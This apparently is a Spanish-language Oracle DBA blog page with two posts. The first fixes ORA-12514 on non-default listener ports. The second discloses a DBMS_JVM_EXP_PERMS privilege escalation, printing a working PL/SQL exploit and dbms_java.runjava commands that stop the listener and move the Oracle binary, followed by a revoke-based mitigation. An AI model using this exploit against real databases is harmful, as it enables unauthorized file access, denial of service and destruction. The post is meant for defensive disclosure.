viernes, 2 de abril de 2010

Registro dinámico de servicios y ora-12514

En algunas ocasiones he sido consultado sobre problemas de conectividad que se presentan sin previo aviso y vienen acompañados del mensaje de error ORA-12514: TNS:listener does not currently know of service requested in connect descriptor. Hay quienes indican que extrañamente la comunicación era perfecta poco antes y que ya han revisado los archivos de configuración como el listener.ora y el tnsnames.ora y que todo se ve bien pero aún así no logran establecer nuevas conexiones. Un detalle adicional es que todos estos casos tienen el común denominador de que el puerto en uso no es el usual 1521 sino algún otro. Considerando este escenario pre-determinado, síganme para ver lo simple que puede ser resolver este problema.

Conceptos previos

El background process PMON se encarga de registrar dinámicamente con el listener los servicios disponibles en una base de datos, lo cual se conoce como registro dinámico de servicios. Ahora bien, hay que tener en cuenta que por defecto las bases de datos Oracle registran sus servicios con el listener asumiendo que éste está atendiendo por el puerto 1521, si se usa un puerto distinto a éste se requiere de medidas adicionales para permitir que PMON sepa dónde registrar los servicios de la base de datos o no lo logrará hacer y caeremos en el error ORA-12514.

Solución

1. No es inusual que se configure un puerto distinto al 1521, hay varias razones para ello pero principalmente se hace como medida de seguridad adicional para prevenir ataques que aprovechan justamente que la gran mayoría deja su listener configurado con el puerto por defecto 1521, de allí que cambiarlo sea altamente recomendado.

Veamos primeramente un listener modificado (listener.ora):

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
    )
  )

2. Esto se debe complementar con la configuración del parámetro local_listener, para lo cual tenemos dos posibilidades, una primera en la que colocamos los datos explícitamente:

SQL> alter system set local_listener="(address=(protocol=TCP)(host=caliope)(port=15402))";

O una segunda, en que se usa una cadena de conexión que se puede resolver mediante la consulta al archivo tnsnames.ora.

SQL> alter system set local_listener=listener_bd;

El alias listener_bd debe existir localmente, como se observa a continuación (tnsnames.ora):

LISTENER_BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
  )

3. Con esto solo nos resta verificar que la conectividad está efectivamente operativa, para lo cual consideramos la siguiente cadena de conexión (tnsnames.ora):

BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = bd)
    )
  )

Misma que probamos con SQL*Plus

[oracle@caliope ~]$ sqlplus system/oracle@bd

SQL*Plus: Release 11.1.0.7.0 - Production on Thu Apr 1 15:19:17 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYSTEM@bd >

¡Todo funcionó a la perfección!

Conclusión

¿Qué les pareció? ¿No está complicado verdad?, pero les sorprendería saber cuántos no siguen estas consideraciones y luego de crear listeneres adicionales, observan que se interrumpen las nuevas conexiones luego de detener el listener que usa el puerto 1521 y se pregunta el por qué, si se supone que esas bases de datos usan otros puertos en otros listeners; bueno, ahora ya lo saben, así que: ¡a corregir se ha dicho!

Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!

domingo, 7 de febrero de 2010

Peligro inminente, ¡Dios nos coja confesados!

Para los que aún no están enterados, se ha hecho pública una vulnerabilidad muy seria para quienes están trabajando con Oracle 10g o superior. Esta vulnerabilidad permite que un usuario con el mínimo privilegio de crear una sesión pueda tener acceso irrestricto a los archivos del servidor en el cual se está ejecutando la base de datos Oracle. Si quieren saber a qué nos estamos enfrentando a continuación les muestro lo fácil que es ganar estos privilegios, y lo dañino que puede resultar en manos inescrupulosas.

Volviéndose todopoderoso

1. Primero preparemos el ambiente, creamos un usuario y le dejamos crear sesiones.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


SYS@orcl > create user test identified by test;

User created.

SYS@orcl > grant create session to test;

Grant succeeded.

2. Ahora es cuestión de ejecutar el siguiente código.

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl > DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

PL/SQL procedure successfully completed.

TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

3. Gracias al package DBMS_JVM_EXP_PERMS, el cual tiene permisos de ejecución para PUBLIC, se ha logrado obtener acceso irrestricto a los archivos, tanto de lectura, escritura como de ejecución. Nuevamente nuestros amigos de Java metiéndonos en problemas, jajaja, pero ya bromas aparte, empecemos por un ataque relativamente benigno como detener el listener, lo que sería una forma relativamente simple de lo que es conocido como un ataque del tipo DoS (Denial of Service).

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle    7505     1  0 17:45 ?        00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$

Con esta acción se está impidiendo la creación de nuevas sesiones al no haber listener que las cree, lo que en la práctica significa que la base de datos ha pasado a estar parcialmente operativa.

4. Desde luego se pueden hacer cosas perores, veamos ahora una acción mucho más destructiva, moveremos de sitio al ejecutable oracle pero bien podría ser su eliminación o la de todo el directorio en el que está instalado Oracle, los datafiles, etc., no hay límites al daño que se puede causar!!!

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: No such file or directory

[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /tmp/oracle

Si nos quedaban dudas, a estas alturas creo que ya estamos convencidos que estamos ante un problema bastante serio. ¿Qué hacer? Por el momento no hay mayor alternativa que retirar los privilegios públicos de ejecución del paquete DBMS_JVM_EXP_PERMS, lo que impediría obtener amplios privilegios al invocarlo.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

SYS@orcl > revoke execute on DBMS_JVM_EXP_PERMS from public;

Revoke succeeded.

SYS@orcl > connect test/test
Connected.
TEST@orcl > DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored

Retirar el privilegio de PUBLIC es una alternativa radical que amerita la realización de pruebas extensas de funcionalidad por cuanto es posible que al retirar este privilegio algo por allí deje de funcionar, es un riesgo que siempre se corre pero no nos quedan muchas alternativas que digamos, mientras tanto habrá que esperar a que Oracle libere algún patch específico a la brevedad, porque esperar al próximo CPU, en Abril de 2010, dejaría bastante tiempo disponible para eventuales ataques, así que a tomar medidas preventivas se ha dicho!!!

Update
(Feb 10,2010)

Mi buen amigo Ronald Vargas nos comenta en una entrada reciente que: "...Los problemas de seguridad a los que se hacen referencia en el documento de Enrique, para poder ser explotadas, el usuario debe tener acceso a nivel de sistema operativo a la herramienta SQL*Plus en el servidor, ya que el ejecutar un comando, requiere de privilegios administrativos, a los cuáles no puedes accesar, sino estas logeado localmente, ya sea en la consola del servidor o a través de un utilitario o emulador de ambiente gráfico de Windows ó Linux, o un utilitario de acceso de terminal remota...". Ronald concluye su Post con: "...Así que como les dije al principio, "que no panda el cúnico", no hay mucho de que alarmarnos..."

Sobre el particular, Ronald estaría tomando como referencia lo indicado en The H Security, pero al menos en mis pruebas personales no ha sido necesario estar conectado directamente en el servidor de base de datos para explotar este problema, logré reproducirlo conectado remotamente desde una estación con Windows Vista usando un cliente Oracle 11.1.0.7 y un usuario que solamente tiene el privilegio create session:

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.buf

Windows
C:\Windows\system32>sqlplus test/test@orcl

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.BUF

Asi que el peligro sigue siendo real y su explotación bastante simple, tomen sus precauciones!

Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!